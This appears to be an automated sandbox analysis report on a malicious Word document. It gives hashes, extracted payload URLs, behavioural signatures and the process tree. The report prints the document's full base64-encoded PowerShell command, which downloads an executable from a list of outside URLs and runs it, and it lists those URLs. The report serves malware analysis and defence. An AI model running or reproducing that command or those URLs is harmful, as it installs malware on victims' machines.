Analysis
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max time kernel
143s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
31-05-2024 02:20
Behavioral task
behavioral1
Sample
85b92183de7b6dd1cb319e8ceb6fad3a_JaffaCakes118.doc
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
85b92183de7b6dd1cb319e8ceb6fad3a_JaffaCakes118.doc
Resource
win10v2004-20240226-en
General
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Target
85b92183de7b6dd1cb319e8ceb6fad3a_JaffaCakes118.doc
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Size
164KB
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MD5
85b92183de7b6dd1cb319e8ceb6fad3a
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SHA1
a31fabbdc0e16ceeff3a7c4ae7619934e98b4b76
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SHA256
27965403597d9dce6ba0fbc8d3f907fcf228898f52db58015a628f15335efcc4
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SHA512
27caebbd134fce7b07fe7503bba05a0ca446059c17605e2f2470c2d35a743d9158d34bf5f65bfcf1174e4481d56d04375601c9608aeb20d56eaefbd4d330fb2d
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SSDEEP
3072:h77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qyTl7IlSeAvMnyor/6GNRj8dK:h77HUUUUUUUUUUUUUUUUUUUT52Vzl7Uj
Malware Config
Extracted
http://programmephenix.com/wp-content/languages/kjdx0ls2/
http://axletime.com/wp-admin/r0gmx40208/
http://5elements-development.com/wp-content/uoesp16/
http://bestphotographytnj.com/rrm9/lm83yx518/
http://citilinesholdings.com/wp/cysk9wh832/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3328 2324 powErSHell.exe 92 -
Blocklisted process makes network request 3 IoCs
flow pid Process 34 3328 powErSHell.exe 64 3328 powErSHell.exe 66 3328 powErSHell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3420 WINWORD.EXE 3420 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 3328 powErSHell.exe 3328 powErSHell.exe 3328 powErSHell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3328 powErSHell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3420 WINWORD.EXE 3420 WINWORD.EXE 3420 WINWORD.EXE 3420 WINWORD.EXE 3420 WINWORD.EXE 3420 WINWORD.EXE 3420 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\85b92183de7b6dd1cb319e8ceb6fad3a_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3420
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C:\Windows\System32\WindowsPowerShell\v1.0\powErSHell.exepowErSHell -e JABFADQANgA1ADgANgAyADEAPQAnAFEANgA0ADUANQAyADcAJwA7ACQAdwA1ADQANwA0ADMAOAAzACAAPQAgACcAOQA3ADQAJwA7ACQAbwA2ADYAMAAxAF8APQAnAHoAXwAyADMAMAA0ADYAMwAnADsAJABDADUAMQAyADAANQA0AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAB3ADUANAA3ADQAMwA4ADMAKwAnAC4AZQB4AGUAJwA7ACQAUwA4ADkANAA5ADkANAA1AD0AJwBIADIAOAA5ADAANwBfADcAJwA7ACQAbAAyADUAXwBfADMAXwA9AC4AKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAFQALgB3AGUAQgBjAGAAbABJAGUAYABOAFQAOwAkAHcAMgAwAF8ANgBfADUAPQAnAGgAdAB0AHAAOgAvAC8AcAByAG8AZwByAGEAbQBtAGUAcABoAGUAbgBpAHgALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBsAGEAbgBnAHUAYQBnAGUAcwAvAGsAagBkAHgAMABsAHMAMgAvAEAAaAB0AHQAcAA6AC8ALwBhAHgAbABlAHQAaQBtAGUALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHIAMABnAG0AeAA0ADAAMgAwADgALwBAAGgAdAB0AHAAOgAvAC8ANQBlAGwAZQBtAGUAbgB0AHMALQBkAGUAdgBlAGwAbwBwAG0AZQBuAHQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AG8AZQBzAHAAMQA2AC8AQABoAHQAdABwADoALwAvAGIAZQBzAHQAcABoAG8AdABvAGcAcgBhAHAAaAB5AHQAbgBqAC4AYwBvAG0ALwByAHIAbQA5AC8AbABtADgAMwB5AHgANQAxADgALwBAAGgAdAB0AHAAOgAvAC8AYwBpAHQAaQBsAGkAbgBlAHMAaABvAGwAZABpAG4AZwBzAC4AYwBvAG0ALwB3AHAALwBjAHkAcwBrADkAdwBoADgAMwAyAC8AJwAuAFMAcABsAEkAdAAoACcAQAAnACkAOwAkAFUAOAAwADUAMgA3ADYAMgA9ACcAdQAzADcANwA3ADcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AMwA5ADUANwAxACAAaQBuACAAJAB3ADIAMABfADYAXwA1ACkAewB0AHIAeQB7ACQAbAAyADUAXwBfADMAXwAuAGQATwBXAE4ATABPAEEAZABGAEkAbABlACgAJABPADMAOQA1ADcAMQAsACAAJABDADUAMQAyADAANQA0ACkAOwAkAG4AOQA2ADcAXwA4ADYAPQAnAFQANAA0ADUAXwA2ACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQAQwA1ADEAMgAwADUANAApAC4ATABFAE4AZwB0AGgAIAAtAGcAZQAgADMANwA0ADIAMAApACAAewAmACgAJwBJACcAKwAnAG4AdgAnACsAJwBvAGsAZQAtAEkAJwArACcAdABlAG0AJwApACAAJABDADUAMQAyADAANQA0ADsAJABzADQAMgAzADMAMwAwADEAPQAnAFoAMQAyADQAMwA1ADkAMQAnADsAYgByAGUAYQBrADsAJABtADIAMAAzADMAMgAwADQAPQAnAG0AOQAxAF8AOQAxADQANgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABwADAAOAA3ADUAMwA9ACcAQwBfADIANQA4ADkAXwA4ACcA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3328
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3768 --field-trial-handle=2284,i,15722001240173834669,15048020084704567542,262144 --variations-seed-version /prefetch:81⤵PID:3016
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82